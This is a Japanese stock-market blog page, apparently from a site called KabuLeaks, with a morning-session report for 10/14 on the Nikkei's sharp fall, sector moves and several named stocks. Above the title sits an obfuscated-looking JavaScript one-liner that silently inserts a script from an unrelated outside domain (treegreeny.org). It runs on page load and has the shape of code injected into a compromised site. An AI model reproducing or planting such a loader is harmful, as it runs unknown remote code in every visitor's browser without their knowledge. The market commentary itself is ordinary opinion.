;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/14 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/14 前引け】

前場の日経平均株価は363円安と大幅続落。中国の景気減速懸念を背景とした欧米株安を受け朝方から売りが先行、その後も断続的な売りから18,000円割れる展開となっている。業種別では、値上がりは水産・農林業のみ。一方、鉱業が4%超の下落となっているほか、鉄鋼、機械、不動産業の下落が目立っている。

個別では、関連会社の上場申請などが伝わり【2395】新日本科学がストップ高。前日に12年度より開始した次世代LSIの開発を完了し、2D/3DグラフィックスLSI「VF2」として製品化を行うと前日に発表、急伸した【3652】DMPが一時ストップ高の大幅続伸となっているほか、特段の材料は確認されていないものの【6079】エナリスが急伸する動きとなっている。一方、虚偽データ報道から【1821】三井住友建設が20%超の大幅下落に。

材料系の中小型株などでの短期的な値幅取りしつつ、主力の押し目を狙うタイミングを伺っていきたい。日経平均は大幅続落も今後の政策期待、月末金融緩和への期待などもありそこまで弱気になる必要もないかと思われる。